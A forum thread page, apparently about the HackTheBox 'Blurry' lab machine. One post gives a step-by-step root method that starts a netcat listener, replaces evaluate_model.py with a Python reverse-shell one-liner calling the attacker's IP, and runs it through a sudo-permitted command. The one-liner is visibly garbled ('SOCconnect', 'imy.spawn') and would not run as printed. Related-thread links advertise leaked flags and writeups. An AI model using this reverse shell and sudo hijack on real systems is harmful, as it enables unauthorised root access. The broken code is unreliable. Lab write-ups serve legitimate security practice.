HTB - Blurry
by black_panther - Saturday June 8, 2024 at 06:30 PM
#61
Simple Steps to Root :
On Attacker Machine:

Quote:nc -nvlp PORT

---------------------------------------------------------------------------------------------------------------------------------------------------------------------

On Target Machine:

1.  Remove the existing 'evaluate_model.py' within the /models directory:

Quote: jippity@blurry:/models$ rm evaluate_model.py


2. Now create a new file of the same name and import the python payload for reverse shell into it:

Quote: jippity@blurry:/models$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCconnect(("YOUR_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);imy.spawn("/bin/bash")' > evaluate_model.py

Exclamation Ensure you replace the IP and PORT of your own machine Exclamation

3. Execute the sudo command :

Quote: jippity@blurry:/models$ sudo /usr/bin/evaluate_model /models/*.pth


Enjoy Root access  Cool !!!!!
Reply
#62
Is anyone gonna post the flag? I could use some help with this box.
Reply
#63
(06-09-2024, 04:20 PM)moha1313128 Wrote: I got this error
`[!] Unknown or unsupported file format for /models/evil.pth`

Because thiss file unsupported file format
Ban reason: Replying With Hidden Content (Permanent)
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 365 113,332 Yesterday, 07:30 PM
Last Post: N1GHTC0D3
  HTB Eloquia User and Root Flags - Insane Box 69646B 14 17,600 08-21-2026, 07:27 PM
Last Post: tangol
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 94 26,215 08-21-2026, 06:20 AM
Last Post: jamoski
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 25 19,491 08-15-2026, 06:06 PM
Last Post: m4573rx
  HTB - ALL Challenges you Stuck in osamy7593 3 17,646 08-15-2026, 01:58 AM
Last Post: 0xIDA



 Users browsing this thread: 1 Guest(s)